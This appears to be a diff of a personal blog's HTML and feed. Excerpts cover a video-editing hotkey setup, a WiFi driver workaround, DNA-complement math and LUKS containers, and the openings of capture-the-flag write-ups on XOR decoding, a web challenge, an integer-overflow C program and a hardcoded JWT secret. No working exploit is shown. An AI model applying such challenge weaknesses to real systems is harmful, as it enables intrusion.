I borrowed quite a bit of the movement keybinds from gaming since, just like gaming, my left hand is on the left half of the keyboard
but the right hand is controlling the mouse pointer.</p><blockquote><p>Tip: Avoid shortcuts that require you to raise your hand. Raising your hands adds friction in the way of video editing.</p></blockquote><p>My biggest gripe is that till date, there is no way to record multiple operations and bind then to a keyboard shortcut.</p><h2 id=enter-swhkd>Enter SWHKD</h2><p>To make my workflow as fast as possible, I have an entire config to perform these recorded <em>&ldquo;macros&rdquo;</em> with at shortcuts involving at most two keys.</p><p>Take the example of a ripple cut which involves removing the part of the clip before the playhead &mldr;</p><p><img src=../../video-editing-workflow-0.avif alt></p><p>&mldr; and shift the rest of the clips back to where the original one started.</p><p><img src=../../video-editing-workflow-1.avif alt></p><p>With my current setup of Kdenlive, I have to perform 3 keypresses back to back to do this:</p><ul><li><code>r</code> to use the ripple tool</li><li><code>q</code> to make the cut and perform the shift</li><li><code>s</code> to go back to using the selection tool</li></ul><p>However, SWHKD combined with <code>ydotool</code> allows me to do this in a single (or two depending upon how you seen it) keypress of <code>Shift</code> <code>Q</code>.</p><p>Whenever I&rsquo;m editing a video, I&rsquo;ll launch a script that start <code>swhkd</code> with my Kdenlive config.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-bash data-lang=bash><span style=display:flex><span>swhks &amp;
but the right hand is controlling the mouse pointer.</p><blockquote><p>Tip: Avoid shortcuts that require you to raise your hand. Raising your hands adds friction in the way of video editing.</p></blockquote><p>My biggest gripe is that till date, there is no way to record multiple operations and bind then to a keyboard shortcut.</p><h2 id=enter-swhkd>Enter SWHKD</h2><p>To make my workflow as fast as possible, I have an entire config to perform these recorded <em>&ldquo;macros&rdquo;</em> with at shortcuts involving at most two keys.</p><p>Take the example of a ripple cut which involves removing the part of the clip before the playhead &mldr;</p><p><img src=../../video-editing-workflow-0.avif alt></p><p>&mldr; and shift the rest of the clips back to where the original one started.</p><p><img src=../../video-editing-workflow-1.avif alt></p><p>With my current setup of Kdenlive, I have to perform 3 keypresses back to back to do this:</p><ul><li><code>r</code> to use the ripple tool</li><li><code>q</code> to make the cut and perform the shift</li><li><code>s</code> to go back to using the selection tool</li></ul><p>However, SWHKD combined with <code>ydotool</code> allows me to do this in a single (or two depending upon how you seen it) keypress of <code>Shift</code> <code>Q</code>.</p><p>Whenever I&rsquo;m editing a video, I&rsquo;ll launch a script that start <code>swhkd</code> with my Kdenlive config.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-bash data-lang=bash><span style=display:flex><span>swhks &amp;
</span></span><span style=display:flex><span>sudo sh -c <span style=color:#e6db74>&#34;(ydotoold -P 0622 &amp;);&#34;</span>
</span></span><span style=display:flex><span>pkexec swhkd --config $PWD/kdenlive.swhkd
</span></span></code></pre></div><p>The Kdenlive config defines a mode which I have to explicitly enter using <code>Super</code> <code>k</code> at the start of video editing so that at some point

View File

@@ -8,7 +8,7 @@ under the <code>rtw88_pci</code> namespace. Scouring through online forums, I di
engineered their WiFi cards to enter low power or sleep mode when it thinks the card is not in use. Some forums stated that this behavior
could be disabled by changing the kernel parameters. To do this, I needed to look for available kernel parameters using the
<code>modinfo</code> command. Finding the name of the kernel module in question can be a hit or miss. I found reading the description of the modules
from the <code>lsmod</code> command to be reliable.</p><p>After finding out the module, <code>rtw88_pci</code> in my case, you can run <code>modinfo</code> to learn the details of the kernel parameters.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>modinfo rtw88_pci
from the <code>lsmod</code> command to be reliable.</p><p>After finding out the module, <code>rtw88_pci</code> in my case, you can run <code>modinfo</code> to learn the details of the kernel parameters.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>modinfo rtw88_pci
</span></span></code></pre></div><pre tabindex=0><code>filename: /run/booted-system/kernel-modules/lib/modules/6.6.32/kernel/drivers/net/wireless/realtek/rtw88/rtw88_pci.ko.xz
license: Dual BSD/GPL
description: Realtek PCI 802.11ac wireless driver
@@ -31,7 +31,7 @@ computer straight up lagging when these devices die. Why? Because this:</p><bloc
[ 394.755348] rtw_8822ce 0000:04:00.0: failed to power on mac
</code></pre><p>The driver is <code>rtw88_8822ce</code> and the logs say that there was a failure in
powering the card on. In the end, I just bought an external USB 2.0 network card
and blacklisted the kernel modules for the builtin card in my NixOS config.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-nix data-lang=nix><span style=display:flex><span>boot<span style=color:#f92672>.</span>blacklistedKernelModules <span style=color:#f92672>=</span> [ <span style=color:#e6db74>&#34;rtw88_8822ce&#34;</span> ];
and blacklisted the kernel modules for the builtin card in my NixOS config.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-nix data-lang=nix><span style=display:flex><span>boot<span style=color:#f92672>.</span>blacklistedKernelModules <span style=color:#f92672>=</span> [ <span style=color:#e6db74>&#34;rtw88_8822ce&#34;</span> ];
</span></span></code></pre></div><p>Another related problem was the WiFi strength itself. With the honking GTX 1650
of a GPU shoehorned into a small form factor, the electromagnetic induction
caused by the GPU also deteriorated the signal strength. I mean, what was I

View File

@@ -6,7 +6,7 @@ We choose to keep our solution one step behind the classical reverse complement
respective complements.</p><h2 id=problem-statement>Problem statement</h2><p>Our goal is rather straightforward. We aim to create a mapping of the characters <code>a</code>, <code>t</code>, <code>g</code>, <code>c</code> and <code>n</code> to their respective complements.
We choose to keep our solution one step behind the classical reverse complement which reverses the string after the mapping.</p><p>Lastly, we will stick to lowercase characters and not deal with RNA bases for the sake of simplicity.</p><p>Here&rsquo;s what the mapping would look like:</p><table><thead><tr><th></th><th></th><th></th><th></th><th></th><th></th></tr></thead><tbody><tr><td>Input</td><td>a</td><td>t</td><td>c</td><td>g</td><td>n</td></tr><tr><td>Output</td><td>t</td><td>a</td><td>g</td><td>c</td><td>n</td></tr></tbody></table><h2 id=kicking-the-tires>Kicking the tires</h2><p>Let us first note that we can&rsquo;t just use the value <code>a</code>, <code>t</code>, <code>c</code>, etc. as inputs to a function. We must convert them
to a numerical representation.</p><p>Although we might be tempted to use a given character&rsquo;s position in the alphabet,
we should prefer using the ASCII character representations since a computer will be used to churn this magic function eventually.</p><p>We can easily get the ASCII representations in python as the following:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-python data-lang=python><span style=display:flex><span>print(tuple(<span style=color:#e6db74>b</span><span style=color:#e6db74>&#39;atcgn&#39;</span>))
we should prefer using the ASCII character representations since a computer will be used to churn this magic function eventually.</p><p>We can easily get the ASCII representations in python as the following:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-python data-lang=python><span style=display:flex><span>print(tuple(<span style=color:#e6db74>b</span><span style=color:#e6db74>&#39;atcgn&#39;</span>))
</span></span></code></pre></div><p>which gives us <code>(97, 116, 99, 103, 110)</code></p><p>Now, let&rsquo;s examine the different ways we can approach the problem.</p><h2 id=matrices-and-polynomials>Matrices and polynomials</h2><p>The crux of this method relies on the existence of a vector <span class=katex><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mover accent="true"><mi mathvariant="bold">v</mi><mo></mo></mover></mrow><annotation encoding="application/x-tex">\vec{\mathbf{v}}</annotation></semantics></math></span> such that for each input character <span class=katex><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>p</mi></mrow><annotation encoding="application/x-tex">p</annotation></semantics></math></span>
and the complement <span class=katex><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>q</mi></mrow><annotation encoding="application/x-tex">q</annotation></semantics></math></span>,</p><span class=katex><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mover accent="true"><mi mathvariant="bold">v</mi><mo></mo></mover><mo></mo><mo stretchy="false">(</mo><msup><mi>p</mi><mn>4</mn></msup><mo separator="true">,</mo><msup><mi>p</mi><mn>3</mn></msup><mo separator="true">,</mo><msup><mi>p</mi><mn>2</mn></msup><mo separator="true">,</mo><msup><mi>p</mi><mn>1</mn></msup><mo separator="true">,</mo><msup><mi>p</mi><mn>0</mn></msup><mo stretchy="false">)</mo><mo>=</mo><mi>q</mi></mrow><annotation encoding="application/x-tex"> \vec{\mathbf{v}} \cdot (p^4, p^3, p^2, p^1, p^0) = q </annotation></semantics></math></span><p>Consider the input character &lsquo;a&rsquo; and the corresponding output &rsquo;t&rsquo;.
We substitute p and q in the previous expression with the ASCII values 97 and 116 respectively to get
@@ -34,7 +34,7 @@ x_0
99 \\
110
\end{bmatrix}
</annotation></semantics></math></span><p>Also observe that a linear map would allow us to shift the inputs by some offset and guarantee that the output is also shifted by the same offset.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-python data-lang=python><span style=display:flex><span><span style=color:#f92672>from</span> sympy <span style=color:#f92672>import</span> Matrix
</annotation></semantics></math></span><p>Also observe that a linear map would allow us to shift the inputs by some offset and guarantee that the output is also shifted by the same offset.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-python data-lang=python><span style=display:flex><span><span style=color:#f92672>from</span> sympy <span style=color:#f92672>import</span> Matrix
</span></span><span style=display:flex><span>
</span></span><span style=display:flex><span>mappings <span style=color:#f92672>=</span> {
</span></span><span style=display:flex><span> <span style=color:#e6db74>&#39;a&#39;</span>: <span style=color:#e6db74>&#39;t&#39;</span>,
@@ -64,7 +64,7 @@ x_0
</span></span><span style=display:flex><span> <span style=color:#66d9ef>if</span> <span style=color:#ae81ff>0</span> <span style=color:#f92672>in</span> coeffs:
</span></span><span style=display:flex><span> print(<span style=color:#e6db74>f</span><span style=color:#e6db74>&#39;</span><span style=color:#e6db74>{</span>n<span style=color:#e6db74>}</span><span style=color:#e6db74> -&gt; </span><span style=color:#e6db74>{</span>coeffs<span style=color:#e6db74>}</span><span style=color:#e6db74>&#39;</span>)
</span></span></code></pre></div><p>We prioritize coefficients that contain zeros since they allow us to ignore a term in the resulting polynomial.</p><p>Running the experiment yields a single polynomial where one of the coefficients is 0.</p><pre tabindex=0><code>110 -&gt; Matrix([[0], [16075/51051], [-72265/204204], [-1721/102102], [235/204204]])
</code></pre><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-python data-lang=python><span style=display:flex><span><span style=color:#66d9ef>def</span> <span style=color:#a6e22e>compl</span>(x: str) <span style=color:#f92672>-&gt;</span> str:
</code></pre><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-python data-lang=python><span style=display:flex><span><span style=color:#66d9ef>def</span> <span style=color:#a6e22e>compl</span>(x: str) <span style=color:#f92672>-&gt;</span> str:
</span></span><span style=display:flex><span> x <span style=color:#f92672>=</span> ord(x) <span style=color:#f92672>-</span> <span style=color:#ae81ff>110</span>
</span></span><span style=display:flex><span> c <span style=color:#f92672>=</span> (<span style=color:#ae81ff>64300</span> <span style=color:#f92672>*</span> x <span style=color:#f92672>-</span><span style=color:#ae81ff>72265</span> <span style=color:#f92672>*</span> x<span style=color:#f92672>**</span><span style=color:#ae81ff>2</span> <span style=color:#f92672>-</span><span style=color:#ae81ff>3442</span> <span style=color:#f92672>*</span> x<span style=color:#f92672>**</span><span style=color:#ae81ff>3</span> <span style=color:#f92672>+</span> <span style=color:#ae81ff>235</span> <span style=color:#f92672>*</span> x<span style=color:#f92672>**</span><span style=color:#ae81ff>4</span>)<span style=color:#f92672>//</span><span style=color:#ae81ff>204204</span> <span style=color:#f92672>+</span> <span style=color:#ae81ff>110</span>
</span></span><span style=display:flex><span> <span style=color:#66d9ef>return</span> chr(c)
@@ -72,7 +72,7 @@ x_0
v = K \pmod{u}
</annotation></semantics></math></span><p>where <span class=katex><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>K</mi></mrow><annotation encoding="application/x-tex">K</annotation></semantics></math></span> is some known constant.</p><p>We are essentially trying to mend our problem into a Chinese remainder theorem problem. However, all moduli in a CRT problem
must be coprime. The numerical representations of our bases <span class=katex><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mover accent="true"><mi>u</mi><mo></mo></mover><mo>=</mo><mo stretchy="false">(</mo><mn>97</mn><mo separator="true">,</mo><mn>116</mn><mo separator="true">,</mo><mn>99</mn><mo separator="true">,</mo><mn>103</mn><mo separator="true">,</mo><mn>110</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\vec{u} = (97, 116, 99, 103, 110)</annotation></semantics></math></span> aren&rsquo;t quite coprime.</p><p>To deal with this, we double all the entries and add an odd number.
More abstractly, for every <span class=katex><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi></mrow><annotation encoding="application/x-tex">u</annotation></semantics></math></span>, <span class=katex><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>2</mn><mi>u</mi></mrow><annotation encoding="application/x-tex">2u</annotation></semantics></math></span> must be even. Adding an odd number <span class=katex><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>h</mi></mrow><annotation encoding="application/x-tex">h</annotation></semantics></math></span>, then, must make <span class=katex><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>2</mn><mi>u</mi><mo>+</mo><mi>h</mi></mrow><annotation encoding="application/x-tex">2u+h</annotation></semantics></math></span> odd.</p><p>Varying this <span class=katex><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>h</mi></mrow><annotation encoding="application/x-tex">h</annotation></semantics></math></span> can potentially yield some <span class=katex><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>2</mn><mover accent="true"><mi>u</mi><mo></mo></mover><mo>+</mo><mi>h</mi></mrow><annotation encoding="application/x-tex">2\vec{u} + h</annotation></semantics></math></span> whose elements are coprime.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-py data-lang=py><span style=display:flex><span><span style=color:#f92672>from</span> itertools <span style=color:#f92672>import</span> starmap, permutations
More abstractly, for every <span class=katex><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi></mrow><annotation encoding="application/x-tex">u</annotation></semantics></math></span>, <span class=katex><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>2</mn><mi>u</mi></mrow><annotation encoding="application/x-tex">2u</annotation></semantics></math></span> must be even. Adding an odd number <span class=katex><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>h</mi></mrow><annotation encoding="application/x-tex">h</annotation></semantics></math></span>, then, must make <span class=katex><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>2</mn><mi>u</mi><mo>+</mo><mi>h</mi></mrow><annotation encoding="application/x-tex">2u+h</annotation></semantics></math></span> odd.</p><p>Varying this <span class=katex><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>h</mi></mrow><annotation encoding="application/x-tex">h</annotation></semantics></math></span> can potentially yield some <span class=katex><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>2</mn><mover accent="true"><mi>u</mi><mo></mo></mover><mo>+</mo><mi>h</mi></mrow><annotation encoding="application/x-tex">2\vec{u} + h</annotation></semantics></math></span> whose elements are coprime.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-py data-lang=py><span style=display:flex><span><span style=color:#f92672>from</span> itertools <span style=color:#f92672>import</span> starmap, permutations
</span></span><span style=display:flex><span><span style=color:#f92672>import</span> numpy <span style=color:#66d9ef>as</span> np
</span></span><span style=display:flex><span>
</span></span><span style=display:flex><span>
@@ -158,7 +158,7 @@ progress: (1, -159) -&gt; 47922894
progress: (3, -559) -&gt; 33253051
(3, -559) -&gt; 33253051
</code></pre><p>With the final solution, we can cook up the following function. Note how we add 97 since we had shifted <span class=katex><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mover accent="true"><mi>v</mi><mo></mo></mover></mrow><annotation encoding="application/x-tex">\vec{v}</annotation></semantics></math></span>
such that its smallest element was 0.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-python data-lang=python><span style=display:flex><span><span style=color:#66d9ef>for</span> base <span style=color:#f92672>in</span> <span style=color:#e6db74>&#39;atgcn&#39;</span>:
such that its smallest element was 0.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-python data-lang=python><span style=display:flex><span><span style=color:#66d9ef>for</span> base <span style=color:#f92672>in</span> <span style=color:#e6db74>&#39;atgcn&#39;</span>:
</span></span><span style=display:flex><span> compl <span style=color:#f92672>=</span> chr(<span style=color:#ae81ff>97</span> <span style=color:#f92672>+</span> <span style=color:#ae81ff>33253051</span> <span style=color:#f92672>%</span> (<span style=color:#ae81ff>6</span><span style=color:#f92672>*</span>ord(base)<span style=color:#f92672>-</span><span style=color:#ae81ff>559</span>))
</span></span><span style=display:flex><span> print(<span style=color:#e6db74>f</span><span style=color:#e6db74>&#39;</span><span style=color:#e6db74>{</span>base<span style=color:#e6db74>}</span><span style=color:#e6db74> -&gt; </span><span style=color:#e6db74>{</span>compl<span style=color:#e6db74>}</span><span style=color:#e6db74>&#39;</span>)
</span></span></code></pre></div><h2 id=wrapping-up>Wrapping up</h2><p>Those were two ways I could think of mapping DNA nucleobases to their complements. Although this is a contrived example,

View File

@@ -5,7 +5,7 @@ without having to completely format the drive anew.&lt;/p&gt;
with LUKS container files that are encrypted at rest and can be decrypted on
demand with knowledge of the passphrase.&lt;/p&gt;
&lt;h2 id="creating-the-image-base"&gt;Creating the image base&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;head --bytes&lt;span style="color:#f92672"&gt;=&lt;/span&gt;4G /dev/urandom &amp;gt; stash.img
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;head --bytes&lt;span style="color:#f92672"&gt;=&lt;/span&gt;4G /dev/urandom &amp;gt; stash.img
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="format-the-image"&gt;Format the image&lt;/h2&gt;
&lt;p&gt;The image can be formatted by either including the header in the image itself or
keeping a detached header.&lt;/p&gt;</description></item><item><title>Algebraic Python Enums</title><link>https://lavafroth.is-a.dev/post/algebraic-python-enums/</link><pubDate>Sun, 02 Nov 2025 19:08:46 +0530</pubDate><guid>https://lavafroth.is-a.dev/post/algebraic-python-enums/</guid><description>&lt;p&gt;University has compelled me to use Python despite my preference for Rust,
@@ -614,12 +614,12 @@ the last branch which returns instead of calling the decryption subroutine.&lt;/
&lt;p&gt;I found some hex in a file called fleg, but Im not sure how its encoded. Im pretty sure its some kind of xor…&lt;/p&gt;
&lt;h1 id="exploration"&gt;Exploration&lt;/h1&gt;
&lt;p&gt;We begin by creating a new rust project.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cargo new amateurs
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cargo new amateurs
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cd amateurs
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cargo add hex
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cargo add itertools
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Let&amp;rsquo;s decode the hexadecimal contents of the file using the following Rust code:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-rust" data-lang="rust"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;fn&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;main&lt;/span&gt;() -&amp;gt; Result&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;(), Box&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;dyn&lt;/span&gt; std::error::Error&lt;span style="color:#f92672"&gt;&amp;gt;&amp;gt;&lt;/span&gt; {
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-rust" data-lang="rust"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;fn&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;main&lt;/span&gt;() -&amp;gt; Result&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;(), Box&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;dyn&lt;/span&gt; std::error::Error&lt;span style="color:#f92672"&gt;&amp;gt;&amp;gt;&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; bytes &lt;span style="color:#f92672"&gt;=&lt;/span&gt; hex::decode(&lt;span style="color:#e6db74"&gt;&amp;#34;610c6115651072014317463d73127613732c73036102653a6217742b701c61086e1a651d742b69075f2f6c0d69075f2c690e681c5f673604650364023944&amp;#34;&lt;/span&gt;)&lt;span style="color:#f92672"&gt;?&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; stream &lt;span style="color:#f92672"&gt;=&lt;/span&gt; String::from_utf8_lossy(&lt;span style="color:#f92672"&gt;&amp;amp;&lt;/span&gt;bytes);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;println!&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;{:?}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;, stream);
@@ -634,7 +634,7 @@ reference meant.&lt;/p&gt;
&lt;p&gt;In the list of functions under the Symbol Tree, we can navigate to the &lt;code&gt;entry&lt;/code&gt; function which looks like:&lt;/p&gt;</description></item><item><title>Waiting an Eternity</title><link>https://lavafroth.is-a.dev/post/wait-an-eternity-web-challenge-amateursctf-2023/</link><pubDate>Wed, 19 Jul 2023 07:53:17 +0530</pubDate><guid>https://lavafroth.is-a.dev/post/wait-an-eternity-web-challenge-amateursctf-2023/</guid><description>&lt;p&gt;This was a fairly straightforward and fun challenge that required a bit of common sense to solve.
We are given the URL &lt;a href="https://waiting-an-eternity.amt.rs"&gt;https://waiting-an-eternity.amt.rs&lt;/a&gt; to begin with.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s use &lt;code&gt;curl&lt;/code&gt; with its verbose flag to fetch this URL.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;curl -v &lt;span style="color:#e6db74"&gt;&amp;#34;https://waiting-an-eternity.amt.rs&amp;#34;&lt;/span&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;curl -v &lt;span style="color:#e6db74"&gt;&amp;#34;https://waiting-an-eternity.amt.rs&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We get a response that tells us to wait an enternity.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;&amp;gt; GET / HTTP/2
&amp;gt; Host: waiting-an-eternity.amt.rs
@@ -657,7 +657,7 @@ Tired of this workflow that I somehow spiraled into, I&amp;rsquo;m now seeking t
Linux way of doing things. It has an amazing package manager as well as &lt;a href="https://aur.archlinux.org"&gt;a user repository&lt;/a&gt; for extra software unavailable in the official repositories. It&amp;rsquo;s rather
easy to setup Arch for gaming, thanks to programs like &lt;a href="https://lutris.net/"&gt;Lutris&lt;/a&gt; and &lt;a href="https://usebottles.com/"&gt;Bottles&lt;/a&gt;.&lt;/p&gt;</description></item><item><title>Twosum</title><link>https://lavafroth.is-a.dev/post/picoctf-binary-exploitation-twosum/</link><pubDate>Mon, 10 Apr 2023 08:44:28 +0530</pubDate><guid>https://lavafroth.is-a.dev/post/picoctf-binary-exploitation-twosum/</guid><description>&lt;p&gt;This is a rather simple binary exploitation challenge. We are given the following source
code for the program running on the remote server:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#include&lt;/span&gt; &lt;span style="color:#75715e"&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;span style="color:#75715e"&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#include&lt;/span&gt; &lt;span style="color:#75715e"&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;span style="color:#75715e"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#include&lt;/span&gt; &lt;span style="color:#75715e"&gt;&amp;lt;stdlib.h&amp;gt;&lt;/span&gt;&lt;span style="color:#75715e"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;static&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;int&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;addIntOvf&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;int&lt;/span&gt; result, &lt;span style="color:#66d9ef"&gt;int&lt;/span&gt; a, &lt;span style="color:#66d9ef"&gt;int&lt;/span&gt; b) {
@@ -714,7 +714,7 @@ the second. Adding them would cause the result to wrap around and become negativ
We are also given the source code of the application.&lt;/p&gt;
&lt;p&gt;Taking a look at the &lt;code&gt;src/main/java/io/github/nandandesai/pico/security&lt;/code&gt; subdirectory of the project, we see that it uses JWT.&lt;/p&gt;
&lt;p&gt;Interestingly, the file &lt;code&gt;SecretGenerator.java&lt;/code&gt; in the aforementioned directory contains a weak hardcoded &lt;em&gt;&amp;ldquo;random&amp;rdquo;&lt;/em&gt; value 😱.&lt;/p&gt;
